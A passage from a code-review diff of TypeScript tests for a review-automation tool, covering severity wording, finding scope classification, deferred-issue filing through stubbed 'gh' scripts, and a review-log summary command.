1.2187 (2026-10-07). + Oct 7 wave guard (CEO-20): conditional `run_in_background` request plus the background-run recovery at each foreground dispatch site; measured 132,233 / 108,523 = 1.2185 (2026-10-07). Merged with the guard area: measured 132,522 / 108,523 = 1.2211 (2026-10-07). + Oct 8 wave: the defensive-security framing and fixture summary mode reach the security specialist and the Red Team (stated once in the dispatch, referenced by the Red Team); measured 133,902 / 108,523 = 1.2339 (2026-10-08). + gate integrity W2 (above); measured 1.282 (2026-10-10). + Oct 10 multi-agent wave PR D2 (sideways review): sideways sweep and flake-fix number in Step 4; `Diff read` and `Undeclared behavior changes` in the review-mode Scope Check (plan-completion section); measured 140,497 / 108,523 = 1.2946 (2026-10-10).
|
||||
maxSizeRatio: 1.3100, // Shared-code feature + critical-severity validation: 128,042 union bytes / 108,523 baseline = 1.1799; preserves content floors. + v1.91.12.0 merge of #2999 (above, plus plan-completion fallback intent and specialist checklist-by-path) with #3002; measured 1.1843 (2026-10-01). + v1.91.19.0 wave: verdict-form Codex callers with sandbox preflight (INV-1/B1), P0/P1 structured gate (B1b), bound-plan discovery and data-not-instructions guard (F1/D3), visible LEARNINGS failures (B5); measured 129,941 / 108,523 = 1.1974 (2026-10-03). + v1.91.18.0 (#3023) merged into the v1.91.19.0 wave; measured 130,025 / 108,523 = 1.1981 (2026-10-04). + Oct 6 fix wave: quota_exhausted preflight branch (#3051); measured 130,359 / 108,523 = 1.2012 (2026-10-06). + Oct 6 fix wave A3/CEO-12: free text reaches commands only through agent-written mktemp files (mktemp block, write rule, path rebuild and refusal at each posting, prompt and brief site); measured 131,314 / 108,523 = 1.2100 (2026-10-06). Combined Oct 6 wave head (A and B): measured 131,966 / 108,523 = 1.2160 (2026-10-06). + Oct 7 wave B3: the Codex probe runs as a command (select-model capture lines, check-sandbox/probe-model/run-with-timeout subcommands) instead of being sourced; measured 132,199 / 108,523 = 1.2182 (2026-10-07). + Oct 7 wave CEO-28/DX-11: review prompts ask for a severity per finding and design proposals use the proposal gate; measured 132,258 / 108,523 = 1.2187 (2026-10-07). + Oct 7 wave guard (CEO-20): conditional `run_in_background` request plus the background-run recovery at each foreground dispatch site; measured 132,233 / 108,523 = 1.2185 (2026-10-07). Merged with the guard area: measured 132,522 / 108,523 = 1.2211 (2026-10-07). + Oct 8 wave: the defensive-security framing and fixture summary mode reach the security specialist and the Red Team (stated once in the dispatch, referenced by the Red Team); measured 133,902 / 108,523 = 1.2339 (2026-10-08). + gate integrity W2 (above); measured 1.282 (2026-10-10). + Oct 10 multi-agent wave PR D2 (sideways review): sideways sweep and flake-fix number in Step 4; `Diff read` and `Undeclared behavior changes` in the review-mode Scope Check (plan-completion section); measured 140,497 / 108,523 = 1.2946 (2026-10-10). + harness lane E (2026-10-26): the lead-judgment stage in the finding merge and the `cause` anchor in the specialist prompts, shared with /ship through scripts/resolvers/review-army.ts; measured 141,949 / 108,523 = 1.3080.
|
||||
},
|
||||
codex: {
|
||||
skill: 'codex',
|
||||
|
||||
@@ -211,7 +211,7 @@ describe('ship Step 9 instructions', () => {
|
||||
const army = fs.readFileSync(path.join(ROOT, 'ship/sections/review-army.md'), 'utf8').replace(/\s+/g, ' ');
|
||||
test('pass 2+ reads the range since the previous pass under a full token; the fix-range token is /review\'s alone', () => {
|
||||
expect(army).toContain('Every entry saves `PASS_HEAD=$(git rev-parse HEAD)`; from pass 2 on, `RANGE_BASE` is the previous pass\'s PASS_HEAD.');
|
||||
expect(army).toContain('use `DIFF_BASE=$RANGE_BASE` instead, so reviewers read what changed since the previous pass.');
|
||||
expect(army).toContain('use `DIFF_BASE=$RANGE_BASE` instead, so every reviewer reads what changed since the previous pass.');
|
||||
expect(army).toContain('Every pass captures a full token (no `--fix-range`), so the record binds the whole tree even when reviewers read only the range.');
|
||||
expect(army).not.toContain('--start review --fix-range');
|
||||
expect(army).toContain('gstack-review-scope classify --base <base> --pass $PASS --range-base $RANGE_BASE');
|
||||
|
||||
@@ -0,0 +1,55 @@
|
||||
/**
|
||||
* Harness lane E: the review-loop budget's words (absorbed from tstack's sol-loop
|
||||
* and pstack's interrogate, written in gstack's own words). The glossary and the
|
||||
* two stop rules live where the loop decides (ship Step 9.4 and its repeat
|
||||
* decisions, the checklist's Fix-First heuristic); the lead-judgment filters sit
|
||||
* in the finding merge both /review and /ship render from one resolver.
|
||||
*/
|
||||
import { describe, expect, test } from 'bun:test';
|
||||
import * as fs from 'node:fs';
|
||||
import * as path from 'node:path';
|
||||
|
||||
const ROOT = path.resolve(import.meta.dir, '..');
|
||||
const read = (p: string) => fs.readFileSync(path.join(ROOT, p), 'utf8').replace(/\s+/g, ' ');
|
||||
|
||||
describe('review-loop budget wording', () => {
|
||||
test('ship Step 9.4 budgets by blocker / should / nit and the repeat decisions carry the two stop rules', () => {
|
||||
const army = read('ship/sections/review-army.md');
|
||||
expect(army).toContain('a **blocker** is the intended case gone wrong');
|
||||
expect(army).toContain('a **should** is a real bug a caller will hit, in the intended case');
|
||||
expect(army).toContain('a **nit** is the rest');
|
||||
expect(army).toContain('The cap is a stop, not an approval');
|
||||
expect(army).toContain('cut that growth before anything else');
|
||||
expect(army).toContain('(`git diff $RANGE_BASE` from pass 2 on)');
|
||||
expect(army).toContain('The gate scan (2.5) and the QA probes keep the whole candidate');
|
||||
expect(army).toContain('and the command still exits 0: the PR body carries the reason');
|
||||
});
|
||||
|
||||
test('the checklist glossary maps the three words onto the blocking floor and repeats the stop rules', () => {
|
||||
const checklist = read('review/checklist.md');
|
||||
expect(checklist).toContain('**Severity glossary**');
|
||||
for (const word of ['**blocker**', '**should**', '**nit**']) expect(checklist).toContain(word);
|
||||
expect(checklist).toContain('cut that growth first');
|
||||
expect(checklist).toContain('reaching the cap approves nothing');
|
||||
});
|
||||
|
||||
test('both review armies apply lead judgment before a merged finding counts, and every specialist prompt offers the cause anchor', () => {
|
||||
for (const p of ['ship/sections/review-army.md', 'review/sections/review-army.md']) {
|
||||
const text = read(p);
|
||||
const judgment = text.slice(text.indexOf('#### 4. Lead judgment'), text.indexOf('#### 5. Apply specialist confidence gates'));
|
||||
expect(judgment.length).toBeGreaterThan(200);
|
||||
for (const filter of ['Nit gravity', 'Hypothetical, not actual', 'Structure for a case that does not exist', 'A different design is not a defect', 'Missing context']) expect(judgment).toContain(filter);
|
||||
expect(judgment).toContain('returned `NO FINDINGS` was right');
|
||||
expect(text).toContain('names the changed line in `cause`');
|
||||
expect(text).toContain('Optional: line, fix, fingerprint, evidence, test_stub, advisory, evidence_paths, helper_target, cause.');
|
||||
}
|
||||
});
|
||||
|
||||
test('docs/review-policy.md states the glossary, the stop rules and lead judgment once', () => {
|
||||
const policy = read('docs/review-policy.md');
|
||||
expect(policy).toContain('a **blocker** is the intended case gone wrong');
|
||||
expect(policy).toContain('the cap approves nothing');
|
||||
expect(policy).toContain('the parent applies lead judgment');
|
||||
expect(policy).not.toMatch(/\b1\.91\.\d+\.\d+\b/);
|
||||
});
|
||||
});
|
||||
+122
-5
@@ -16,6 +16,8 @@ import {
|
||||
} from '../lib/review-scope';
|
||||
import { cleanup, makeFixtureRepo, runBin, type FixtureRepo } from './helpers/restamp-fixture';
|
||||
|
||||
const ROOT = path.resolve(import.meta.dir, '..');
|
||||
|
||||
const repos: FixtureRepo[] = [];
|
||||
const fixture = () => { const r = makeFixtureRepo({ prefix: 'review-scope-' }); repos.push(r); return r; };
|
||||
afterEach(() => { while (repos.length) cleanup(repos.pop()!); });
|
||||
@@ -47,6 +49,11 @@ describe('hunk parsing and locus', () => {
|
||||
expect(locusOf({ path: 'lib/other.ts', line: 1 }, diff, null)).toBe('outside');
|
||||
expect(locusOf({ fingerprint: 'src/auth.ts:11:security' }, diff, null)).toBe('diff');
|
||||
expect(locusOf({ fingerprint: 'shared-libs:abc' }, diff, null)).toBe('outside');
|
||||
expect(locusOf({ severity: 'CRITICAL', summary: 'somewhere' }, diff, null)).toBe('outside');
|
||||
// a defect the diff causes in an unchanged caller names the changed line in `cause`; the locus follows it
|
||||
expect(locusOf({ path: 'lib/caller.ts', line: 80, cause: { path: 'src/auth.ts', line: 11 } }, diff, null)).toBe('diff');
|
||||
expect(locusOf({ path: 'lib/caller.ts', line: 80, cause: { path: 'src/auth.ts', line: 300 } }, diff, null)).toBe('outside');
|
||||
expect(locusOf({ path: 'lib/caller.ts', line: 80, cause: { path: 'src/new.ts' } }, diff, null)).toBe('diff');
|
||||
const range = parseHunks('diff --git a/src/auth.ts b/src/auth.ts\n--- a/src/auth.ts\n+++ b/src/auth.ts\n@@ -11 +11 @@\n-x\n+y\n');
|
||||
expect(locusOf({ path: 'src/auth.ts', line: 11 }, diff, range)).toBe('fix-range');
|
||||
expect(locusOf({ path: 'src/auth.ts', line: 42 }, diff, range)).toBe('diff');
|
||||
@@ -55,6 +62,11 @@ describe('hunk parsing and locus', () => {
|
||||
test('kind and the blocking floor: CRITICAL defects block; advisories, test gaps and INFORMATIONAL items never do', () => {
|
||||
expect(kindOf({ advisory: true, severity: 'INFORMATIONAL' })).toBe('advisory');
|
||||
expect(kindOf({ category: 'test-gap', severity: 'CRITICAL' })).toBe('test-gap');
|
||||
// the Testing specialist's schema (review/specialists/testing.md) emits category "testing" for every finding it returns
|
||||
const real = { severity: 'CRITICAL', confidence: 7, path: 'src/auth.ts', line: 42, category: 'testing', summary: 'denied path has no test', fingerprint: 'src/auth.ts:42:testing', specialist: 'testing' };
|
||||
expect(kindOf(real)).toBe('test-gap');
|
||||
expect(isBlocking(real)).toBe(false);
|
||||
expect(fs.readFileSync(path.join(ROOT, 'review/specialists/testing.md'), 'utf8')).toContain('\"category\":\"testing\"');
|
||||
expect(kindOf({ category: 'security', severity: 'CRITICAL' })).toBe('defect');
|
||||
expect(isBlocking({ category: 'security', severity: 'CRITICAL' })).toBe(true);
|
||||
expect(isBlocking({ category: 'security', severity: 'critical' })).toBe(true);
|
||||
@@ -94,6 +106,9 @@ describe('scope decisions', () => {
|
||||
'shared-libs:deadbeef': 'outside/advisory/below/note',
|
||||
});
|
||||
expect(scopeLine('frozen', 1, scoped)).toBe('REVIEW_SCOPE: policy=frozen pass=1 findings=6 fix=3 defer=1 note=2 blocking=3');
|
||||
// a blocking finding nobody could place is fixed now, never filed against '(no path)'
|
||||
const unplaced = scopeFindings([{ severity: 'CRITICAL', category: 'logic', summary: 'somewhere' }], { policy: 'frozen', pass: 2, diffHunks: diff, rangeHunks: range });
|
||||
expect(by(unplaced)['undefined']).toBe('outside/defect/blocking/fix');
|
||||
});
|
||||
|
||||
test('diff-plus-blocking (the documented fallback, not the default): a blocking finding outside the diff is fixed here instead of filed; everything else is as frozen', () => {
|
||||
@@ -208,13 +223,49 @@ describe('gstack-review-scope (bin)', () => {
|
||||
const badRange = runBin(repo, 'gstack-review-scope', ['classify', '--base', 'main', '--pass', '2', '--range-base', 'f'.repeat(40), '--findings', f]);
|
||||
expect(badRange.status).toBe(EXIT.fail);
|
||||
expect(badRange.err).toContain('(REVIEW_SCOPE_RANGE;');
|
||||
// a --range-base on pass 1 is not applied, so the envelope does not claim it
|
||||
const p1Range = runBin(repo, 'gstack-review-scope', ['classify', '--base', 'main', '--pass', '1', '--range-base', pass1Head, '--findings', f, '--json']);
|
||||
expect(JSON.parse(p1Range.out).range_base).toBeNull();
|
||||
for (const args of [['--pass', '0'], ['--pass', '1', '--policy', 'loose'], ['--pass', '2', '--range-base', '--output=/tmp/x']]) {
|
||||
const r = runBin(repo, 'gstack-review-scope', ['classify', '--base', 'main', ...args, '--findings', f]);
|
||||
expect(r.status).toBe(EXIT.fail);
|
||||
expect(r.err).toContain('(REVIEW_SCOPE_INPUT;');
|
||||
}
|
||||
// the reviewed policy is the base's; an unresolvable base is refused by name, never read from the working tree
|
||||
const noBase = runBin(repo, 'gstack-review-scope', ['classify', '--base', 'nonesuch', '--pass', '1', '--findings', f]);
|
||||
expect(noBase.status).toBe(EXIT.refused);
|
||||
expect(noBase.err).toContain('(POLICY_SOURCE_UNAVAILABLE)');
|
||||
expect(noBase.err).toContain('pass --policy to classify without the base');
|
||||
fs.writeFileSync(f, '{"not":"an array"}');
|
||||
const bad = runBin(repo, 'gstack-review-scope', ['classify', '--base', 'main', '--pass', '1', '--findings', f]);
|
||||
expect(bad.status).toBe(EXIT.fail);
|
||||
expect(bad.err).toContain('(REVIEW_SCOPE_INPUT;');
|
||||
const d = path.join(repo.root, 'deferred.json'); fs.writeFileSync(d, '{}');
|
||||
const badRender = runBin(repo, 'gstack-review-scope', ['render', '--deferred', d]);
|
||||
expect(badRender.status).toBe(EXIT.fail);
|
||||
expect(badRender.err).toContain('expected the JSON array defer --out writes');
|
||||
});
|
||||
|
||||
test('defer without gh keeps the finding deferred as unfiled (exit 3) and renders the PR-body sections; --dry-run files nothing', () => {
|
||||
test('classify sees a non-ASCII changed path under its own name, so a CRITICAL finding there is fixed, not deferred to an issue', () => {
|
||||
const repo = fixture();
|
||||
fs.mkdirSync(path.join(repo.work, 'src'), { recursive: true });
|
||||
fs.writeFileSync(path.join(repo.work, 'src', 'café.ts'), 'export const a = 1;\n');
|
||||
repo.git('add', '.'); repo.git('commit', '-qm', 'seed'); repo.git('push', '-q', 'origin', 'main');
|
||||
repo.git('checkout', '-qb', 'feat');
|
||||
fs.writeFileSync(path.join(repo.work, 'src', 'café.ts'), 'export const a = 2;\n');
|
||||
repo.git('commit', '-qam', 'change');
|
||||
fs.writeFileSync(path.join(repo.work, 'src', 'naïve.ts'), 'export const n = 1;\n');
|
||||
const f = path.join(repo.root, 'findings.json');
|
||||
fs.writeFileSync(f, JSON.stringify([
|
||||
{ path: 'src/café.ts', line: 1, severity: 'CRITICAL', category: 'logic', summary: 'wrong' },
|
||||
{ path: 'src/naïve.ts', line: 1, severity: 'CRITICAL', category: 'logic', summary: 'untracked' },
|
||||
]));
|
||||
const r = runBin(repo, 'gstack-review-scope', ['classify', '--base', 'main', '--pass', '1', '--findings', f, '--json']);
|
||||
expect(r.status).toBe(EXIT.ok);
|
||||
expect(JSON.parse(r.out).findings.map((x: ScopedFinding) => `${x.path}=${x.locus}/${x.scope}`)).toEqual(['src/café.ts=diff/fix', 'src/naïve.ts=diff/fix']);
|
||||
});
|
||||
|
||||
test('defer without gh keeps the finding deferred as unfiled and still exits 0 (the PR body carries the reason), searches once before creating, and files nothing when the search fails; --dry-run files nothing', () => {
|
||||
const repo = fixture();
|
||||
const classified = path.join(repo.root, 'classified.json');
|
||||
fs.writeFileSync(classified, JSON.stringify([
|
||||
@@ -230,9 +281,18 @@ describe('gstack-review-scope (bin)', () => {
|
||||
fs.writeFileSync(path.join(noGh, 'gh'), '#!/bin/sh\necho "gh: not logged in" >&2; exit 4\n', { mode: 0o755 });
|
||||
const out = path.join(repo.root, 'deferred.json');
|
||||
const unfiled = runBin(repo, 'gstack-review-scope', ['defer', '--findings', classified, '--pr', '42', '--out', out], { PATH: `${noGh}:${process.env.PATH}` });
|
||||
expect(unfiled.status).toBe(EXIT.refused);
|
||||
expect(unfiled.err).toMatch(/^DEFERRED: unfiled \(gh issue create failed: gh: not logged in\) CRITICAL lib\/legacy\.ts:7$/m);
|
||||
expect(unfiled.out).toContain('- Deferred: unfiled (gh issue create failed: gh: not logged in) — CRITICAL `lib/legacy.ts:7` Unbounded delete');
|
||||
expect(unfiled.status).toBe(EXIT.ok);
|
||||
expect(unfiled.err).toMatch(/^DEFERRED: unfiled \(gh issue list failed: gh: not logged in\) CRITICAL lib\/legacy\.ts:7$/m);
|
||||
expect(unfiled.out).toContain('- Deferred: unfiled (gh issue list failed: gh: not logged in) — CRITICAL `lib/legacy.ts:7` Unbounded delete');
|
||||
// the search failed, so nothing was created: a rate-limited rerun cannot duplicate the issue the marker exists to find
|
||||
const listFails = path.join(repo.root, 'listfails');
|
||||
fs.mkdirSync(listFails);
|
||||
const created = path.join(listFails, 'created');
|
||||
fs.writeFileSync(path.join(listFails, 'gh'), `#!/bin/sh\nif [ "$1" = issue ] && [ "$2" = list ]; then echo "gh: HTTP 403 rate limit" >&2; exit 1; fi\nif [ "$1" = issue ] && [ "$2" = create ]; then touch "${created}"; echo https://example.test/o/r/issues/1; exit 0; fi\nexit 1\n`, { mode: 0o755 });
|
||||
const rateLimited = runBin(repo, 'gstack-review-scope', ['defer', '--findings', classified, '--pr', '42', '--json'], { PATH: `${listFails}:${process.env.PATH}` });
|
||||
expect(rateLimited.status).toBe(EXIT.ok);
|
||||
expect(JSON.parse(rateLimited.out)[0]).toMatchObject({ issue: null, reason: 'gh issue list failed: gh: HTTP 403 rate limit' });
|
||||
expect(fs.existsSync(created)).toBe(false);
|
||||
const rendered = runBin(repo, 'gstack-review-scope', ['render', '--deferred', out, '--findings', classified]);
|
||||
expect(rendered.status).toBe(EXIT.ok);
|
||||
expect(rendered.out).toContain('## Deferred findings');
|
||||
@@ -249,7 +309,7 @@ describe('gstack-review-scope (bin)', () => {
|
||||
fs.writeFileSync(path.join(shim, 'gh'), [
|
||||
'#!/bin/sh', `echo "$*" >> "${log}"`,
|
||||
'if [ "$1" = issue ] && [ "$2" = list ]; then',
|
||||
` case "$*" in *"lib/legacy.ts:7:data-loss"*) echo '[{"number":9,"url":"https://example.test/acme/app/issues/9","body":"x <!-- gstack-deferred-finding: lib/legacy.ts:7:data-loss --> y"}]' ;; *) echo '[]' ;; esac; exit 0; fi`,
|
||||
` echo '[{"number":9,"url":"https://example.test/acme/app/issues/9","body":"x <!-- gstack-deferred-finding: lib/legacy.ts:7:data-loss --> y"},{"number":3,"url":"https://example.test/acme/app/issues/3","body":"<!-- gstack-deferred-finding: other:1:x -->"}]'; exit 0; fi`,
|
||||
'if [ "$1" = issue ] && [ "$2" = create ]; then echo "https://example.test/acme/app/issues/10"; exit 0; fi',
|
||||
'echo "unsupported $*" >&2; exit 1', '',
|
||||
].join('\n'), { mode: 0o755 });
|
||||
@@ -268,6 +328,63 @@ describe('gstack-review-scope (bin)', () => {
|
||||
expect(r.err).toContain('DEFERRED: #10 CRITICAL lib/old.ts:1');
|
||||
const calls = fs.readFileSync(log, 'utf8');
|
||||
expect(calls.match(/^issue create /gm)?.length).toBe(1);
|
||||
expect(calls.match(/^issue list /gm)?.length).toBe(1);
|
||||
expect(calls).toContain('--search "gstack-deferred-finding" in:body');
|
||||
expect(calls).toContain('issue create --repo acme/app --title Deferred review finding: lib/old.ts:1 — Missing owner check --body-file');
|
||||
});
|
||||
|
||||
// Generated by /ship Step 7 (coverage audit of the harness lane E diff).
|
||||
// Value: protects=summary reads this branch's review log through gstack-review-read and prints the REVIEW_LOOP counters that
|
||||
// `gstack-ship-receipt write --review-loop` consumes, counting only this invocation's ship-via review passes and tolerating a
|
||||
// malformed row and a branch with no log; fails_when=the row filter, the ---CONFIG--- split, the --since guard or the --out
|
||||
// write breaks, or a missing log is treated as an error instead of zero passes; why_new=only the pure summarizeReviewLoop is
|
||||
// tested, never the bin against a review log on disk; seam=none; no_claim=review-log writing (rows are written directly, not
|
||||
// through gstack-review-log)
|
||||
test('summary reads the branch review log through gstack-review-read, counts this invocation\'s passes, writes --out, and refuses a missing --since', () => {
|
||||
const repo = fixture();
|
||||
repo.git('checkout', '-qb', 'feat');
|
||||
const slug = runBin(repo, 'gstack-slug', ['--get', 'SLUG']).out.trim();
|
||||
const branch = runBin(repo, 'gstack-slug', ['--get', 'BRANCH']).out.trim();
|
||||
expect(slug).not.toBe('');
|
||||
expect(branch).toBe('feat');
|
||||
const logDir = path.join(repo.home, 'projects', slug);
|
||||
fs.mkdirSync(logDir, { recursive: true });
|
||||
const rows = [
|
||||
{ skill: 'review', via: 'ship', timestamp: '2026-10-26T09:00:00Z', status: 'clean', review_scope: 'frozen', findings: [{ fingerprint: 'old:1:q', blocking: true, action: 'fixed' }] },
|
||||
{ skill: 'review', via: 'ship', timestamp: '2026-10-26T10:00:00Z', status: 'issues_found', review_scope: 'frozen', findings: [
|
||||
{ fingerprint: 'a:1:x', blocking: true, action: 'auto-fixed' }, { fingerprint: 'b:1:y', blocking: true, action: 'deferred', issue: 5 }, { fingerprint: 'c:1:z', action: 'noted' }] },
|
||||
{ skill: 'adversarial-review', via: 'ship', timestamp: '2026-10-26T10:15:00Z', findings: [{ fingerprint: 'd:1:w', blocking: true }] },
|
||||
{ skill: 'review', via: 'ship', timestamp: '2026-10-26T10:30:00Z', status: 'clean', review_scope: 'frozen', findings: [
|
||||
{ fingerprint: 'b:1:y', blocking: true, action: 'deferred', issue: 5 }, { fingerprint: 'c:1:z', action: 'noted' }] },
|
||||
{ skill: 'review', timestamp: '2026-10-26T10:40:00Z', findings: [{ fingerprint: 'e:1:v', blocking: true, action: 'fixed' }] },
|
||||
];
|
||||
fs.writeFileSync(path.join(logDir, `${branch}-reviews.jsonl`), rows.map(r => JSON.stringify(r)).join('\n') + '\n{not json\n');
|
||||
const expected = { passes: 2, blocking_found: 2, deferred: 1, noted: 1, fixed: 1, scope: 'frozen' };
|
||||
const out = path.join(repo.root, 'review-loop.json');
|
||||
const r = runBin(repo, 'gstack-review-scope', ['summary', '--since', '2026-10-26T09:30:00Z', '--out', out, '--json']);
|
||||
expect(r.status).toBe(EXIT.ok);
|
||||
expect(r.err).toContain('REVIEW_LOOP: passes=2 blocking_found=2 deferred=1 noted=1 fixed=1 scope=frozen');
|
||||
expect(JSON.parse(r.out)).toEqual(expected);
|
||||
expect(JSON.parse(fs.readFileSync(out, 'utf8'))).toEqual(expected);
|
||||
const plain = runBin(repo, 'gstack-review-scope', ['summary', '--since', '2026-10-26T08:00:00Z']);
|
||||
expect(plain.status).toBe(EXIT.ok);
|
||||
expect(plain.out.trim()).toBe('REVIEW_LOOP: passes=3 blocking_found=3 deferred=1 noted=1 fixed=2 scope=frozen');
|
||||
const noSince = runBin(repo, 'gstack-review-scope', ['summary', '--json']);
|
||||
expect(noSince.status).toBe(EXIT.fail);
|
||||
expect(noSince.err).toContain('(REVIEW_SCOPE_INPUT;');
|
||||
expect(noSince.out).toBe('');
|
||||
const badSince = runBin(repo, 'gstack-review-scope', ['summary', '--since', 'yesterday']);
|
||||
expect(badSince.status).toBe(EXIT.fail);
|
||||
expect(badSince.err).toContain('(REVIEW_SCOPE_INPUT;');
|
||||
// zero matching passes is a wrong --since or a log written elsewhere, never a loop to record: refused, nothing written
|
||||
const bare = fixture();
|
||||
const noneOut = path.join(bare.root, 'review-loop.json');
|
||||
const none = runBin(bare, 'gstack-review-scope', ['summary', '--since', '2026-10-26T09:30:00Z', '--out', noneOut, '--json']);
|
||||
expect(none.status).toBe(EXIT.fail);
|
||||
expect(none.err).toContain('(REVIEW_SCOPE_INPUT;');
|
||||
expect(none.err).toContain('REVIEW_LOOP: passes=0');
|
||||
expect(fs.existsSync(noneOut)).toBe(false);
|
||||
const late = runBin(repo, 'gstack-review-scope', ['summary', '--since', '2026-10-27T00:00:00Z']);
|
||||
expect(late.status).toBe(EXIT.fail);
|
||||
});
|
||||
});
|
||||
@@ -434,14 +434,14 @@ for (const skillName of ['review', 'ship']) {
|
||||
expectMentions(flat, [['never', 'dispatched', 'incomplete']], 'flat');
|
||||
const redTeam = flat.slice(flat.indexOf('### Red Team dispatch'));
|
||||
expectMentions(redTeam, [['confirm', 'incomplete', 'stopped']], 'redTeam');
|
||||
expect(redTeam).toContain('stages 1–7');
|
||||
expect(redTeam).toContain('stages 1–8');
|
||||
});
|
||||
|
||||
test(`${skillName} clarity: ordered specialist merge separates validation from scoring and provenance`, () => {
|
||||
const markers = ['#### 1. Parse outputs', '#### 2. Validate severity',
|
||||
'#### 3. Identify and merge', '#### 4. Apply specialist confidence gates',
|
||||
'#### 5. Score and present specialists', '#### 6. Save specialist activity',
|
||||
'#### 7. Hand off to Fix-First'];
|
||||
'#### 3. Identify and merge', '#### 4. Lead judgment', '#### 5. Apply specialist confidence gates',
|
||||
'#### 6. Score and present specialists', '#### 7. Save specialist activity',
|
||||
'#### 8. Hand off to Fix-First'];
|
||||
const positions = markers.map(marker => army.indexOf(marker));
|
||||
expect(positions.every(position => position >= 0)).toBe(true);
|
||||
expect(positions).toEqual([...positions].sort((a, b) => a - b));
|
||||
@@ -454,7 +454,10 @@ for (const skillName of ['review', 'ship']) {
|
||||
for (const rule of [/never trust a supplied hash/i, /missing\/malformed metadata cannot deduplicate/i,
|
||||
/core findings never earn a specialist confidence boost/i]) expect(merge).toMatch(rule);
|
||||
for (const gate of ['Confidence 7+', 'Confidence 5-6', 'Confidence 3-4', 'Confidence 1-2']) expect(army).toContain(gate);
|
||||
const scoring = flat.slice(flat.indexOf('#### 5.'), flat.indexOf('#### 6.'));
|
||||
const judgment = flat.slice(flat.indexOf('#### 4.'), flat.indexOf('#### 5.'));
|
||||
for (const filter of [/nit gravity/i, /hypothetical, not actual/i, /case that does not exist/i, /different design is not a defect/i, /missing context/i]) expect(judgment).toMatch(filter);
|
||||
expect(judgment).toContain('returned `NO FINDINGS` was right');
|
||||
const scoring = flat.slice(flat.indexOf('#### 6.'), flat.indexOf('#### 7.'));
|
||||
expect(scoring).toMatch(/only specialist findings enter this header and `quality_score`/i);
|
||||
expect(scoring).toMatch(/non-advisory/i);
|
||||
expect(scoring).toContain('quality_score = max(0, 10 - (critical_count * 2 + informational_count * 0.5))');
|
||||
|
||||
Reference in new issue
Block a user